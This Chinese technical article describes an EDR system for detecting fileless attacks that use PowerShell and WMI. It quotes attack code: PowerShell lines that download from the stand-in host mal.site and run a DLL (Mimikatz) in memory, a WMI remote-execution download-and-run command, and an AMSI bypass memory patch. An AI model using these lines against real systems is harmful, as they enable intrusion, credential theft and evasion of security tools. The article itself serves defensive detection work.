1. 项目背景与核心价值
最近两年无文件攻击(Fileless Attack)在企业安全事件中的占比从15%飙升到35%,这种不落地恶意文件、直接利用系统合法工具(如PowerShell、WMI)的攻击方式,正在成为传统EDR解决方案的盲区。我们团队在金融行业实际攻防演练中发现,基于签名检测的EDR产品对无文件攻击的拦截率不足40%,攻击者只需简单混淆PowerShell脚本就能绕过大多数检测规则。
这个项目正是为了解决这个痛点——通过将ATT&CK框架的战术阶段映射到攻击链(Kill Chain)模型,结合进程行为沙箱和内存取证技术,构建了一套能识别无文件攻击各阶段特征的检测体系。在银行系统的实测中,对无文件攻击的检出率提升至92%,误报率控制在3%以下。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 技术架构设计思路
2.1 ATT&CK与攻击链的双层建模
传统EDR主要关注ATT&CK的单个技术点(如T1059-PowerShell),但无文件攻击往往跨多个战术阶段。我们创新性地采用双层检测模型:
-
横向检测层:基于ATT&CK矩阵
- 监控进程创建链(如explorer.exe → powershell.exe → mshta.exe)
- 捕获CLI参数特征(如PowerShell的-EncodedCommand参数)
- 记录API调用序列(特别是内存操作相关API)
-
纵向检测层:映射到攻击链阶段
text复制
Reconnaissance → Initial Access → Execution → Persistence (网络扫描行为) (Office宏/漏洞利用) (PowerShell调用) (计划任务/WMI订阅)
2.2 无文件攻击的三大检测支柱
2.2.1 进程行为沙箱
在独立虚拟环境执行可疑脚本,监控以下关键指标:
- 脚本熵值:混淆后的PowerShell脚本熵值通常>6.5(正常脚本<5)
- 内存操作:检测直接调用VirtualAlloc/VirtualProtect的行为
- 子进程树:记录进程派生关系,特别关注短生命周期进程(<30秒)
2.2.2 内存取证引擎
采用Volatility框架增强版,重点捕获:
- PowerShell内存残留:即使进程结束,仍可提取执行的命令历史
- 反射式DLL注入:扫描内存中的PE头特征(MZ头+PE签名)
- WMI持久化:提取__EventFilter等WMI类的异常查询
2.2.3 上下文关联分析
通过时间线重构攻击链:
python复制# 示例:检测PowerShell下载行为
if process.name == "powershell.exe" and
"Net.WebClient" in command_line and
".DownloadString(" in command_line:
alert_level = "CRITICAL"
3. 关键实现细节
3.1 PowerShell深度监控方案
针对PowerShell 5.1/7.x的不同特性,我们采用分级检测策略:
| 版本 | 监控点 | 检测方法 |
|---|---|---|
| ≤5.1 | ScriptBlock日志 | 注册表Hook EventLog管道 |
| ≥7.0 | PSReadLine历史 | 内存扫描命令缓冲区 |
| 所有版本 | AMSI接口调用 | 检测AmsiScanBuffer绕过尝试 |
重要提示:在Windows 10+系统需启用以下组策略:
- "打开PowerShell脚本块日志记录"(Admin模板 → Windows组件 → PowerShell)
- "将PowerShell脚本输入到Microsoft-Windows-PowerShell/Operational日志"(高级审核策略配置)
3.2 无文件持久化检测
攻击者常用的五种无文件持久化手法及应对措施:
-
WMI事件订阅
检测__EventFilter类的异常查询频率,正常系统该类的实例数通常<5 -
计划任务伪装
扫描任务XML中的可疑触发器(如每分钟执行的OnIdle触发器) -
注册表映像劫持
监控HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options -
COM劫持
比对HKCU\Software\Classes\CLSID与基线快照的差异 -
服务DLL劫持
检查服务配置中的ServiceDll路径是否指向临时目录
4. 实战对抗案例
某次金融攻防演练中捕获的攻击链还原:
-
初始入侵
钓鱼邮件携带恶意Word文档,利用CVE-2017-0199漏洞触发PowerShell下载器 -
内存加载
PowerShell执行以下代码反射加载Mimikatz:powershell复制$bytes = (New-Object Net.WebClient).DownloadData('http://mal.site/tool.dll') $assembly = [System.Reflection.Assembly]::Load($bytes) -
横向移动
通过WMI执行远程命令:powershell复制Get-WmiObject -Class Win32_Process -ComputerName 192.168.1.10 -Method Create -ArgumentList "powershell -nop -c IEX (New-Object Net.WebClient).DownloadString('http://mal.site/shell.ps1')"
我们的系统通过以下特征链完成检测:
- 检测到异常的PowerShell子进程创建(explorer.exe → powershell.exe)
- 捕获到高熵值的Base64编码命令(-EncodedCommand参数)
- 发现反射加载DLL的内存操作模式
- WMI远程执行命令触发了横向移动警报
5. 部署优化建议
5.1 性能调优参数
在EDR管理控制台建议配置:
| 参数项 | 生产环境值 | 调试环境值 |
|---|---|---|
| 内存扫描间隔 | 300秒 | 60秒 |
| 进程树监控深度 | 5层 | 10层 |
| 网络行为阈值 | 10连接/分钟 | 50连接/分钟 |
| 脚本执行超时 | 30秒 | 120秒 |
5.2 策略例外处理
遇到误报时可添加以下白名单规则:
json复制{
"process_path": "C:\\Program Files\\VMware\\Tools\\vmtoolsd.exe",
"allowed_children": ["powershell.exe", "cmd.exe"],
"memory_ops": ["VirtualAlloc", "VirtualProtect"]
}
6. 对抗演进方向
近期发现攻击者开始采用以下新型规避技术:
-
PowerShell CLM绕过
利用-ConfigurationName参数切换受限语言模式:powershell复制powershell -Config Restricted -c "Start-Process powershell -Args '-Config FullLanguage'" -
AMSIBypass 2.0
通过内存补丁修改amsi.dll的导出函数地址:csharp复制var patch = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; Marshal.Copy(patch, 0, amsiScanBufferPtr, patch.Length); -
WMI事件订阅混淆
将恶意代码隐藏在__EventFilter.Query的注释中:wmi复制SELECT * FROM __InstanceModificationEvent WHERE TargetInstance ISA 'Win32_Process' /*' AND $code= */ AND TargetInstance.Name='explorer.exe'
针对这些新技术,我们正在测试基于硬件断点的内存监控方案(Intel PT/ETW),以及通过机器学习分析WMI查询语句的语义特征。
